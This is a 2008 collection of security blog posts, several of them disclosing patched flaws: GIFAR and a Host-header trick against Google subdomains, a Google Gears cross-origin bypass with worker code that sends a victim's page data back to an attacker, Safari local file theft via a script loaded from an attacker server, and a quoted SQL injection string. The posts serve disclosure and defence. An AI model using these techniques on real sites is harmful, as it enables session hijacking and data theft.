Posted: December 18th, 2008, 9:30am CST by vanderaj

Tags: Security [edit]
It’s no news that the latest 0day for IE is spreading via SQL injection attacks. What is news is why are we still suffering from SQL injection? We’ve known for over eight years how to utterly end SQL injection. I’m sick of writing about it. We should not be talking about SQL injection any more.

This is a call to arms - SQL injection is a done deal. It stops today!

I call on:
- Acquirers of software to inspect nvd.nist.gov and determine if the software your about to acquire has ever had SQL injection. If so, make sure it does not use dynamic queries today. If it does, do not acquire or use it.
- Managers of software libraries to investigate all software in their possession in the same way. If it has had SQL injection in the past, it’s likely that it still has dynamic queries today. Write to the project and demand a version that has no dynamic queries. Make transition plans to get off faulty software if they do not respond or cannot respond in a reasonable time frame. We did this for the Y2K effort, it’s not that hard
- Open source project houses such as Google Code, Microsoft’s CodePlex and SourceForge should put projects on notice that have dynamic queries that their downloads page will be disabled by Dec 31, 2009 if they have any dynamic SQL queries in them. I know this is a lot of work, but I can’t think an easier way to provide outreach to so many projects simultaneously.
- CISO and CIOs and lead architects to outlaw the use of dynamic and concatenated queries in your policies and coding standards and to mandate the use of un-injectable alternatives
- Developers to stop using dynamic queries and concatenated strings in prepared statements. With all haste, migrate all your code to prepared statements, stored procedures (noting that these still may have issues), or an alternative data storage mechanism, such as Hibernate or Active Record
- Frameworks to deprecate and eliminate dynamic SQL query interfaces (Java’s Statement, PHP’s mysql interface, etc) with extreme urgency. Today, they should emit warnings in DEBUG mode, and in six months to a year, they should cease to exist
- Frameworks should inspect prepared queries in DEBUG mode, and if there’s a WHERE clause without a placeholder, the query should raise a warning during compilation or runtime depending on how your language operates. Of course, there are SQL queries that have where clauses that are static, but these are the exception not the rule. We need to help developers pin point weak statements, so a pragma or comment mechanism to shut the warning down would be helpful too
- If you audit or review source code, you should mark all dynamic SQL queries critical. Because they are critical risks. Without understatement or hyperbole, dynamic queries are an obvious clear and present danger to the world’s IT infrastructure and they simply do not need to exist.
SQL injection stops today! There’s an awful lot of code that needs fixing, so let’s get cracking.

Justice League

Science-y fun with the Maturity Model Project

Posted: December 17th, 2008, 11:00am CST by gem

Tags: Software Security [edit]

Brian Chess, Sammy Migues and I have been building a maturity model for software security. We decided to base our model on data gathered by interviewing 9 top software security programs. We developed a framework to guide a series of interviews for data acquisition.

Though we have not completed the maturity model (analysis continues apace), a number of surprises bubbled up from the data soup. We wrote them up in an article that we thought you might find interesting.

Though our approach is only “science-y” and may well be closer to anthropology than computer science, we do think it’s important to focus on what works in the real world. If you have any questions or comments about our study, we welcome contact.

Billy (BK) Rios

SUN Fixes GIFARs

Posted: December 17th, 2008, 3:22am CST by xssniper

Tags: Web Application Security [edit]

Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:

The footer looks something like this:

We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.

After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.

Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

cat slave diary

Wordpress 2.7 released with easter egg

Posted: December 15th, 2008, 2:07pm CST by vanderaj

Tags: Security [edit]

As I noted a few weeks ago, WordPress has had an obfuscated easter egg in it for some time.

Despite reporting this security defect / software engineering malpractice to two different WordPress folks (the author of the excellent WP development blog, and the security team’s e-mail), 2.7 was released with the easter egg.

Hopefully, this will be resolved in a future release.

CGISecurity.com: Your Web Site and Application Security Resource

Writing a web services fuzzer in 5 minutes to SQL injection

Posted: December 14th, 2008, 10:40pm CST by Robert

Tags: Security Tools [edit]

From tssci"This week, I was doing an internal penetration test for a client of a web service, which is used by applications loaded on kiosk machines around the country. I didn’t have much time to do the test, so I had a couple advantages, like having network access to the service,...

Dominic White's .tHE pRODUCT

DLP, Users and Workflows

Posted: December 10th, 2008, 2:42pm CST

Tags: Security [edit]
Jock (welcome to the blogging world) and Allen have responded to my last entry on Data Loss/Leak Prevention (DLP) vendors partnering with Digital Right Management (DRM) vendors. Jock had an interesting point about getting users involved via DRM, and Allen had some ideas around maturing DLP processes. I'm not sure I fully agree with Jock's ideas, although they do point to some important points that Allen and I agree on about workflows (but not that DLP is dead ;) ). Jock thinks that the integration of DRM will make the user more conscious of the need to protect data. By exposing the features in office, and integrating it into the usual 'how-to' training instead of separate security training, this could become a de-facto way of getting users to look after their own security.

Now, this is something we want. The big problems with implementing a DLP solution, as I see it are:
- Understanding the context of a communication in order to make the correct security decision
- Building a workflow that the data owners manage, not security
Communication Context
The first point is where getting the users involved helps. To provide a round-about illustration; while running a DLP PoC I cam across several points where I did not know whether the incident discovered was a breach or a problem. Should the sender have access to that information, should the receiver, and how sensitive is the information in the first place. For example, we noticed communications about a confidential strategic project going to a Gmail account of someone who did not work for the company and was not obviously affiliated with anyone who knew about the project. To resolve it we needed to follow up and investigate. It turned out the information was going to lawyers who's mail servers were bouncing the mail.

Another incident showed a massive amount of credit card numbers going from a DBA to HR people at a competitor. Upon investigation it appeared that the DBA was sending his CV to the competitor, but had inadvertently attached a DB dump he had been using for debugging purposes.

Both of these incidents required additional context and understanding, which takes time and a soft-touch approach (you can't storm the board demanding to know why information was sent to an unknown gmail account). This is not something a small security team (as they all are) can practically deal with. You also can't hire junior lackeys to do it for you, because they'll have even less of an understanding of the context.

Users can Help
This is where Jock's point comes in, getting the users involved and more aware via the DRM functionality could help them embed some of that context as security principles. For example, if a document should only be shared between the board, then the PA typing it up can embed that assertion. Or more simply, if a document is final and you don't want any surreptitious changes to be made, you can mark it as final without relying on the idea that people can't modify a PDF.

While I think DRM functionality is great, and I am glad to seem the DLP vendors integrating it. I don't think this is going to help us with the communication context. In the first example with the gmail account, the criticality of the information would be no more obvious, and the person it was being sent to would be no less anonymous. In the second incident, the DBA would not be less prone to mistakes, and it is unlikely that DRM will be embedded in the debugging DB dump.

Data Owner Workflow
This is where the second point comes in. It is my belief that it isn't the users that will be able to help with DLP, but the data owners. While this is a fairly obvious statement, the few DLP implementations I have seen which consider the data owners at all is slim, and the number which try and get them involved in the DLP processes are near zero (although this is coloured by DLP not being a currently wildly deployed process). However, when you speak to some vendors and ask for information on these sorts of processes, they usually don't have it.

Funnily enough, I just read Allen's entry on this topic and it seems we are about to say the same thing.

What you need is to get the data owners involved. They need to be empowered to have the tool understand their critical data, and provide workflows around making decisions on what is being done with it, in line with the relevant communication context. Allen call's this 'business context' but I think 'business' is an abused term as is.

For example, if the minutes for the last board meetings are being mailed to an unknown external person, then get the COO's PA to approve it, and if necessary escalate it to the COO. If the DBA is sending credit card details to the competition, get the customer transaction guy to approve it, block and alert or escalate to someone else. This needs to be done careful and intelligently to prevent hours of wasted time while user's click the approve button on 30 e-mail each morning. It also needs corresponding processes up front, ideally built into the process of data creation, to have the principles defined.

This is where the DRM integration helps. Security assertions in line with the data owners approved use can be defined once and checked in both the DRM and DLP environments, but without the workflow components, this just becomes another firewall - blindly blocking with little understanding of what is encapsulated in the content.

For these purposes, I like Allen's differentiation between Generation 1 and Generation 2/3 type solutions.
Security Teams Benefit

With the above in mind, I don't think that security teams should be blindly ignoring the DLP solution's alerts. There is an awesome amount of information about what people and what data is actually being used and how, that can help security teams better approach some of the harder security problems. I am not advocating a 'thought police' approach as often happens with these sorts of technologies - creepy security people reading your e-mail and surfing habits so that they can stop all this awful non-productive behaviour (is that an mp3 I see?!). I mean actually getting an understanding of reality, and implementing solutions that take reality into account. But the price tag doesn't justify this being it's only use.

Michael Howard's Web Log

Secure software development practices 'not rocket science'

Posted: December 8th, 2008, 4:09pm CST by michael_HOWARD

Tags: Security [edit]

[searchsoftwarequality.techtarget.com]#

Watchfire Application Security Insider

Breaking Google Gears' Cross-Origin Communication Model

Posted: December 8th, 2008, 12:09pm CST by Yair Amit

Tags: AJAX Security [edit]
Background
Google Gears is a well-known RIA infrastructure, used extensively by Google in various services such as Google Docs and Google Reader as well as in non-Google services such as MySpace, Zoho Writer and WordPress.

Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:
- A local server, to cache and serve application resources (HTML, JavaScript, images, etc.) without needing to contact a server
- A database, to store and access data from within the browser
- A worker thread pool, to make web applications more responsive by performing expensive operations in the background
- The HttpRequest API, which implements a subset of the W3C XmlHttpRequest specification
- A Geolocation API that enables a web application to obtain a user's geographical position
(The descriptions above are taken from the Google Gears documentation)

In my opinion, one of the nicest things in Gears is the way it is utilized. This is done by inserting JavaScript calls to Gears' API within the HTML code of the web-application. Therefore, unlike some of its alternatives, Gears can be integrated into existing web-applications easily and fluently.

For a full explanation and usage examples of Google Gears, you are invited to enter the Getting Started section in the Google Gears website.

Like other RIA infrastructures, Google Gears offer developers cross-origin communication capabilities. These capabilities are very important to developers, as they make it much easier to implement mashups and other desirable features.

Security-wise, however, cross-origin communication has some downsides. A poor or careless implementation might allow attackers to break-out of the same-origin policy and mount large scale user-impersonation attacks. The ramifications of such a flaw can be disastrous.

A few months ago, I discovered that the cross-origin communication security model of Google Gears wasn't solid enough, and that under some circumstances it could be bypassed pretty easily.
After coordinating a fix with Google, I can now reveal the details.

Gears' Cross-Origin communication implementation

Let's assume that we are web-developers and that we have a web page located at http://Some.Site/ that needs to gather information from a user-authenticated session at http://Another.Site/.
This can be done by using Google Gears' WorkerPool API. All you have to do is load a Google Gears "worker" (JavaScript code with access to Google Gears capabilities such as Local Server, Http communication and Database) using the createWorkerFromUrl(scriptUrl) method.
Google Gears "workers" that are intended to be loaded from a remote origin must begin with a call to allowCrossOrigin(). This serves as a security measure against unauthorized remote loading of "workers".

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

Here's an excerpt from Google Gears' documentation:

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

The Problem
At first sight, this protection seems to be solid.

However, after playing around with the infrastructure, I found that the Google Gears workers' loader has a rather promiscuous policy: it disregards the headers of the Gears worker files it loads!
That fact opens an aperture for malicious attacks. It significantly broadens the options an attacker has for planting malicious Gears worker code in a target website. For example, it is possible to upload files with an image suffix that actually contain Gears Worker code instead. Later on, such a file might be loaded from the context of other domains by a Google Gears Worker loader, despite the fact that it is served as an image file by the web-server!

It follows that the security of websites that contain users' content (forums, web-mails, social networks, office-like services, etc.) might be circumvented and damaged due to this behavior. During my research, I verified that various well-known services are indeed susceptible to the attack described in this summary.

Furthermore, the fact that the Gears worker code doesn't contain concrete "dangerous" characters might actually make it harder for websites to defend against Google Gears-based cross-origin access attacks such as the one described below.

An example of Google Gears worker code:
```
var wp = google.gears.workerPool;

wp.allowCrossOrigin();



wp.onmessage = function(a, b, message) {

  var request = google.gears.factory.create('beta.httprequest');

  request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');



   request.onreadystatechange = function() {

     if (request.readyState == 4) {



     wp.sendMessage("The response was: " + 

     request.responseText, message.sender);



     }

   };



request.send();

}
```
The script above grabs information from http://TARGET.SITE and then leaks it back to its remote caller using Google Gears' built in messaging API. Flow of Attack
1. Attacker creates a text file that contains (malicious) Google Gears commands (Accessing the DB, using the HttpRequest module, etc.).
2. Attacker finds a way to put the text content into a target domain (http://TARGET.SITE/Upload/innocent.jpg, for example). The Gears "worker" code does not contain suspicious characters (<,>, etc...), it is therefore less likely to be filtered by http://TARGET.SITE's server-side logic.
3. Attacker creates http://ATTACKER.SITE/attack.html which contains some Google Gears code that loads and executes http://TARGET.SITE/Upload/innocent.jpg.
4. The code embedded in innocent.jpg (in this example) runs in the context of http://TARGET.SITE. It therefore has permissions to access Google Gears client-side objects such as the DB, the local server data or web resources (with the victim's credentials) using the HttpRequest module built into Google Gears.
5. All information collected in the previous phase can easily be leaked back to http://ATTACKER.SITE using Google Gears' standard messaging mechanism.
Note:
While http://ATTACKER.SITE has to be approved for using Google-Gears, http://TARGET.SITE can be any site that hosts user-created content, even if it doesn't use Google-Gears at all.
The Fix
Following my reporting to Google of the aforementioned flaw and attack, a patched version of Google Gears was released. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files. Without that value the loading of such worker files is denied.

While this looks like a great solution, it suffers from a slight backward-compatibility issue. Web-developers who rely on Google Gears should be aware that the fix might require some changes, such as creating a special rule in the web-server for serving Google-Gears worker code files.

For more information about the new security restriction described above, please visit the Google-Gears cross-origin workers documentation. Acknowledgments:

I would like to thank the Google Gears security team for their quick responses and the efficient way in which they handled this security issue.

Dominic White's .tHE pRODUCT

DLP Vendors Partnering with DRM Vendors

Posted: December 4th, 2008, 5:26am CST

Tags: Security [edit]

First RSA with Microsoft, then McAfee with Liquid Machines. It makes sense, especially for companies wanting to get proactive about preventing data loss. Although, what DRM (Digital Rights Management)/ERM (Enterprise Rights Management) doesn't have that DLP (Data Loss/Leak Prevention) does is the simplicity. It relies on user's pro-actively protecting their data, something we know we aren't good at. Sure, the DLP solution is there for when they don't, but then what's the point of the ERM solution? I'm playing devil's advocate a bit here, and am not committed to that position. It is interesting to note that there hasn't been much partnership between DLP vendors and other 'data focused' security products such as database activity monitoring (DAM) or data backup vendors and only limited partnership with encryption solutions. ERM seems to fit well from a marketing point of view, but I think there are some key integration points between the other solutions that can provide an easier security onion (aka defense in depth).

Rational Survivability

CloudSQL - Accessing Datastores in the Sky using SQL...

Posted: December 2nd, 2008, 9:50am CST by beaker

Tags: Application Security [edit]

Loading..... I think this is definitely a precursor of things to come and introduces some really interesting security discussions to be had regarding the portability, privacy and security of datastores in the cloud.

Have you heard of Zoho? No? Zoho is a SaaS vendor that describe themselves thusly:

Zoho is a suite of online applications (services) that you sign up for and access from our Website. The applications are free for individuals and some have a subscription fee for organizations. Our vision is to provide our customers (individuals, students, educators, non-profits, small and medium sized businesses) with the most comprehensive set of applications available anywhere (breadth); and for those applications to have enough features (depth) to make your user experience worthwhile.

Today, Zoho announced the availability of CloudSQL which is middleware that allows customers who use Zoho's SaaS apps to "...access their data on Zoho SaaS applications using SQL queries."

From their announcement:

Zoho CloudSQL is a technology that allows developers to interact with business data stored across Zoho Services using the familiar SQL language. In addition, JDBC and ODBC database drivers make writing code a snap – just use the language construct and syntax you would use with a local database instance. Using the latest Web technology no longer requires throwing away years of coding and learning.

Zoho CloudSQL allows businesses to connect and integrate the data and applications they have in Zoho with the data and applications they have in house, or even with other SaaS services. Unlike other methods for accessing data in the cloud, CloudSQL capitalizes on enterprise developers’ years of knowledge and experience with the widely‐used SQL language. This leads to faster deployments and easier (read: less expensive) integration projects.

Basically, CloudSQL is interposed between the suite of Zoho applications and the backend datastores and functions as an intermediary receiving SQL queries against the pooled data sets using standard SQL commands and dialects. Click on the diagram below for a better idea of what this looks like.

What's really interesting about allowing native SQL access is the ability to then allow much easier information interchange between apps/databases on an enterprises' "private cloud(s)" and the Zoho "public" cloud.

Further, it means that your data is more "portable" as it can be backed up, accessed, and processed by applications other than Zoho's. Imagine if they were to extend the SQL exposure to other cloud/SaaS providers...this is where it will get really juicy.

This sort of thing *will* happen. Customers will see the absolute utility of exposing their cloud-based datastores and sharing them amongst business partners, much in the spirit of how it's done today, but with the datastores (or chunks of them) located off-premises.

That's all good and exciting, but obviously security questions/concerns immediately surface regarding such things as: authentication, encryption, access control, input sanitation, privacy and compliance...

Today our datastores typically live inside the fortress with multiple layers of security and proxied access from applications, shielded from direct access and yet we still have basic issues with attacks such as SQL injection. Imagine how much fun we can have with this!

The best I could find regarding security and Zoho came from their FAQ which doesn't exactly inspire confidence given the fact that they address logical/software security by suggesting that anti-virus software is the best line of defense ffor protecting your data and that "data encryption" will soon be offered as an "option" and (implied) SSL will make you secure:

6. Is my data secured?

Many people ask us this question. And rightly so; Zoho has invested alot of time and money to ensure that your information is secure and private. We offer security on multiple levels including the physical, software and people/process levels; In fact your data is more secure than walking around with it on a laptop or even on your corporate desktops.

Physical: Zoho servers and infrastructure are located in the most secure types of data centers that have multiple levels of restrictions for access including: on-premise security guards, security cameras, biometric limited access systems, and no signage to indicate where the buildings are, bullet proof glass, earthquake ratings, etc.

Hardware: Zoho employs state of the art firewall protection on multiple levels eliminating the possibility of intrusion from outside attacks

Logical/software protection: Zoho deploys anti-virus software and scans all access 24 x7 for suspicious traffic and viruses or even inside attacks; All of this is managed and logged for auditing purposes.

Process: Very few Zoho staff have access to either the physical or logical levels of our infrastructure. Your data is therefore secure from inside access; Zoho performs regular vulnerability testing and is constantly enhancing its security at all levels. All data is backed up on multiple servers in multiple locations on a daily basis. This means that in the worst case, if one data center was compromised, your data could be restored from other locations with minimal disruption. We are also working on adding even more security; for example, you will soon be able to select a "data encryption" option to encrypt your data en route to our servers, so that in the unlikely event of your own computer getting hacked while using Zoho, your documents could be securely encrypted and inaccessible without a "certificate" which generally resides on the server away from your computer.

Fun times ahead, folks.

/Hoff

The Spanner

IP conversion

Posted: November 25th, 2008, 4:52am CST by Gareth Heyes

Tags: Security [edit]

I’ve been busy investigating URLs recently and I thought my Hackvertor tool had all ways of changing a IP covered. But after researching stuff over the weekend I found that it is lacking in certain areas. For example you can convert two octets to octal or hex and there wasn’t really a easy way of doing this with the current tags.

Decoding this stuff can also be useful especially if you are analysing malware and want a quick way to decode a few obscured IPs. The decoders detect if you are trying to decode full IP addresses or part of an IP.

The tags supported are ip2dword which converts a IP to a decimal number, it includes the ability to encode it a few times with the parameter. This is possible because the unused hex numbers are discarded by the application, examples of how to use this are available below. ip2hex and ip2oct allow you to encode a full or part of a IP address (the rightmost part) with hex or octal. Each tag has a alternative decode.
Examples
I’ll use Google’s IP as a example 216.239.59.99

First we can use ip2dword to convert it to decimal:-
dword conversion

It also supports a parameter which allows you to encode it a few more times:-
dword multiple

You can also encode part of the IP and the tags are clever enough to detect this automatically:-
dword part encode

Finally I’ll show you how to use the octal and hex encoding in full or part of a IP address, I’ve included a part decode example as well which decodes the last two octets of the IP:-
hex, octal and decoding

Dominic White's .tHE pRODUCT

27 Dinner Tonight

Posted: November 23rd, 2008, 4:24pm CST

Tags: Security [edit]
Tonight's 27 dinner was great. I haven't been in a while, but there was a good crowd and I had some really interesting conversation. My presentation went well it seems. I've attached a copy here if anyone is interested.
The talk was focused on cross-site request forgery attacks. As it was mostly a non-security crowd I tried to make it accessible. I demo'ed a CSRF against Vodacom4ME's online SMS functionality (which I rely on for vodasms). I also demo'ed a CSRF against muti, with code injected via a persistent cross site scripting (XSS) flaw in 27dinner.com. In effect, anyone logged into muti who viewed the Jozi 27dinner guest list also voted up this post on muti. I finished it off with a demo of BeEF proxy. For tips of defending against it in your app check out this entry.

I've removed all the demo code, as I can just image someone dubious sticking muti CSRF's all over the place to falsely inflate their posts ranking.

Anyway, thanks for the good conversations, and great feedback, in particular:
Also, thanks to the IRC geeks who helped with some of the ideas and finer points at funny hours in the morning last night:

Rational Survivability

Beware the Transparent Proxy...Your Faith In VPNs Might Waiver

Posted: November 20th, 2008, 6:13am CST by beaker

Tags: Information Security [edit]

Aviram from the Securiteam blog wrote a post titled "Who's Your SMTP Daddy?" that caught my eye regarding the false sense of security that use of corporate IPSec VPNs brings to traveling road warriors due to the use by providers of so-called transparent proxies.

Let's say that you've got some sort of IPSec VPN solution installed on your laptop using the standard corporate configuration with your mail client pointing to mail.foo.com. Your machine has AV, HIPS, firewall, etc.

You connect to a provider's network (wired, wifi, hotel, airport, etc...) and fire up your VPN client which authenticates just fine. You then launch your mail client and type a quick note to your CEO about the confidential M&A project you're working on. A few minutes later you get a response from your CEO to proceed with the tender.

You disconnect.

Here's the problem: that SMTP session you thought was encrypted through your VPN back to the corporate mail server was actually sent in the clear. In fact, it wasn't even sent through your mail relay/server.

Here's a great example of why taken from Aviram's blog:
A quick investigation shows the following: The hotel’s network blocks my VPN (as some of them do) but happily resolves any unresolvable host name (such as my SMTP server’s hostname). This is resolved to a catch-all server that proxies everything. Transparently. (well, almost)
Lesson learned. Changed the hostname to the IP, and will soon switch to SSL based SMTP who will authenticate the server. In the meanwhile - be careful from helpful Beijing wifi providers who are only too happy to forward your mail on! (with some changes, of course).

Aviram is in China, but this example is valid in many countries and you can probably expect that given the behavior of some domestic ISP's, Telcos and Mobile Operators that it is or will go on here too. It could easily work with other protocols that aren't sensitive to session tampering/MITM.* Further, Aviram's example was about interception. There's every reason to believe that one could expect the content of your email to be modified also...

I personally use SSL authenticated SMTP with valid issued certificates so at least if there is tampering with my session, my mail client barfs letting me know something is wrong. That error probably wouldn't help the average sales droid in the field as he/she would just click OK like most people do to any security error that pops up, but it's worth considering.

/Hoff

* Obviously this example presents a worst case scenario with certain configuration assumptions and license taken for illustration, but take the message for what it's intended: blind faith in VPNs can cause you some serious heartache. Transparent proxies work very well...

CGISecurity.com: Your Web Site and Application Security Resource

Metasploit Framework 3.2 Released

Posted: November 19th, 2008, 11:33am CST by Robert

Tags: Security Tools [edit]

"Contact: H D Moore FOR IMMEDIATE RELEASE Email: hdm[at]metasploit.com Austin, Texas, November 19th, 2008 -- The Metasploit Projectannounced today the free, world-wide availability of version 3.2 oftheir exploit development and attack framework. The latest versionis provided under a true open source software license (BSD) and is backed by a community-based development...

Billy (BK) Rios

Stealing Files with Safari

Posted: November 19th, 2008, 3:07am CST by xssniper

Tags: Security [edit]

Apple recently patched a vulnerability Nitesh “Leisure Suit” Dhanjani and I reported to them last week (CVE-2008-4216). We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638). In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary. The issue starts simply enough with a victim visiting an attackers webpage. Once on the attacker’s webpage, the attacker simply loads a Java Applet. Inside of the applet is a call to getAppletContext().showDocument(URL);

getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument(). Normally, browsers will not let remote sites open new browser windows which point to local files. It seemed that Safari had some issues determining the specific “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system.

Now here is where things get interesting… Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control. There are a couple ways plant our content in a predictable location using Safari. Safari, by default has a reasonably predictable location for cached/temporary files. We can use these predictable locations to load our content, we’ll have some guessing to do, but it works… Safari can also be forced to dump user controlled contents to the “c:temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy. I’m not sure if Apple considers the “c:temp” issue a bug, but just in case they do I won’t go over the details for the “c:temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted. We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously). The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system. You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system. Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.

Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and any subdirectories).

Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server. There you go… Stealing Files with Safari!

Michael Howard's Web Log

Improvements in Office Security

Posted: November 17th, 2008, 10:59pm CST by michael_HOWARD

Tags: Security [edit]

David LeBlanc has an excellent write-up of the results (so far) of all the security work the Office guys have been doing over the last few years.

Net: about a 50% reduction in vulns!

Justice League

Web application security versus software security

Posted: November 14th, 2008, 10:43am CST by gem

Tags: Software Security [edit]

I have been known to take the Web application security community to task for a myopic focus on Web and Web only. Being constrained by HTTP does serve to make things pretty easy! Lately, I have adjusted my thinking.

Jeremiah Grossman and I cross paths out there on the evangelism circuit pretty often and have talked about Web app security versus software security many times. Jeremiah is a great guy, and always willing to listen and think carefully. It was only natural that he would end up as a Silver Bullet victim.

Episode 32 of the Silver Bullet Security Podcast features a chat with Web security guru Jeremiah. Among other things, we talk about the relationship between Web app security and software security.

Near the end of our conversation, we raised the idea of whether all Web security problems have analogs in the software security space and what that might mean. After thinking more about that issue, I made it the subject of this month’s informIT column.

In the end, Web application security is important, but we must be careful not to overemphasize the solutions that work only for Web apps and forget about the rest of software out there. In the meantime, we have plenty to learn from each subdomain.

Dominic White's .tHE pRODUCT

Idle Poking leads to Spam and Pie on Face

Posted: November 14th, 2008, 6:45am CST

Tags: Security [edit]

In a moment of madness, I subscribed to an ad-for-money service. I don't know why, it was silly. After receiving several MMS adverts, I came to my senses and unsubscribed. However, the messages kept coming. What irritated me is that my MMS settings were broken and the MMS would keep being resent on a thrice daily basis starting at 'earlier in the morning than I usually wake up'. So, today, while in a paint-fume fuelled rage, I sent a mail to every abuse@ address of relevance, with the usual ECT act shpiel.In response, a fairly senior exec from the holding company phoned to apologise and personally sort out the problem. I was very impressed and happy that things would work out. A little while later, I received the following e-mail:

Hi Dominic,

As per our discussion earlier, we have complied with your request to opt you out of the [redacted] database. We investigated your case and the following report was generated by our technical team which has in turn revealed the nature of the problems you experienced, as mentioned we are very proactive with regards to SPAM complaints, and since we have never had a complaint of this nature before we were concerned that we had developed a bug in the system so to speak. As you will be able to see from the report below, we have identified the reasons for the problems, and as a result of the investigation it has in fact raised questions about your access to the system.

Report back: The subscriber tried a SQL inject on his record, this created an invalid user record field thus when trying to opt out the record updating failed because of this. Unfortunately the Opt out process could not be completed when then user record was supposed to be updated. Please refer to the user information below

[table details redacted to protect the innocent]

The "' or 1==1;--" in the firstname field is where the injection was used. This was done on 2008/08/21 04:48:31 PM

The nature of the SQL injection that was used was to try and gain access to alter information in the [redacted] database. With this in mind we could therefore from our own side open up a case against this contact. If he/she would have been successful in the attempt, the integrity of other Users could also have been in doubt. We have manually Opted the user out of the [redacted] Opt-In base and blacklisted the number for all [redacted] sites that we control.

